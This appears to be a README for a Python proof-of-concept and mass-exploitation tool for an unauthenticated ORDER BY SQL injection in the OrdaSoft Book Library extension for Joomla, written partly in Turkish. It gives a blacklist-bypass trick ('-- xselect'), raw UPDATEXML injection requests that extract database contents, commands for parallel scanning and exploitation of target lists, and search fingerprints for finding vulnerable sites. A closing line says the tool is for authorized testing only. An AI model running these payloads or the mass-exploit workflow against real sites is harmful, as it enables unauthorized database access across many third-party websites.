murrez/cve-2026-101110Python 3 PoC and mass exploit for CVE-2026-101110, an unauthenticated ORDER BY SQL injection in OrdaSoft Joomla Book Library <=6.4.6 via field/direction parameters.
Python 3 PoC for CVE-2026-101110 — OrdaSoft Book Library (Free) for Joomla ≤ 6.4.6. Upgrade to 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Catalog | https://pocbit.org/pocs/ |
| Component | com_booklibrary |
| File / function | site/booklibrary.php → books() |
| Parameters | field, direction (sort) |
| Auth | None (public book listings) |
| CWE | CWE-89 SQL Injection |
| CVSS 4.0 | 9.3 Critical (Joomla CNA) |
| Credit | Ala Arfaoui |
Book Library (Free), Joomla’da kitap kütüphanesi / kategori listeleri sunan OrdaSoft eklentisidir. 6.4.6 ve önceki sürümlerde, books() fonksiyonu field ve direction parametrelerini protectInjectionWithoutQuote() ile filtreler. Bu fonksiyon yalnızca select alt dizgisini arayan zayıf bir kara liste uygular; bulunca değeri $db->quote() ile sarar, reddetmez.
Değerler sonrasında tırnaksız ORDER BY ifadesine eklenir — burada quote kullanmak SQL enjeksiyonunu durdurmaz (CNA açıklaması).
İstismar için iki koşul:
field / direction) değerlerini yazar. -- xselect decoy yorumu eklenir; kara liste kontrolünü geçer, SQL yorumu geri kalan yükü etkilemez.Sonuç: kimlik doğrulaması olmadan ORDER BY SQLi, veritabanı okuma/yazma ve site bütünlüğü açısından kritik risk.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
Weak filter (conceptual):
select (substring) → wrap entire value in quotes (irrelevant in ORDER BY context).-- xselect so the blacklist sees select inside the comment tail while the active expression before -- remains executable SQL (error-based / UPDATEXML / stacked ORDER BY tricks).PoC implements:
| Step | Action |
|---|---|
| Fingerprint | com_booklibrary paths + optional manifest version |
| Route discovery | showCategory, search, showBooks, books, … + scraped catid / Itemid |
| check | Prime session → confirm SQLi (flag / VERSION()) |
| exploit | Prime → --subquery extract (default SELECT VERSION()) |
| mass | --list + -j parallel targets; exploited.txt on successful leak |
Payload suffix constant in code: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Meaning |
|---|---|
--aggressive | Check mode attempts version leak after prime |
--subquery | Inner expression for UPDATEXML / double-query payloads |
--exploited-list | Tab-separated successful extracts |
--no-color | Disable ANSI (also NO_COLOR) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
Prime (session):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
Inject (PoC appends decoy):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
POST variants are attempted on the same route when GET fails.
Manifest (if exposed):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → vulnerable line; ≥ 6.4.7 → patched (patched_version in check output).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | Extension | Issue | Fixed |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + blacklist bypass | 6.4.7 |
| CVE-2026-101111 | Book Library | Reflected XSS (title param) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
Patch all OrdaSoft components you deploy.
com_booklibrary SQLi in search/lend tasks (CVE-2010-1522) — different code pathsAuthorized testing and patch validation only.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110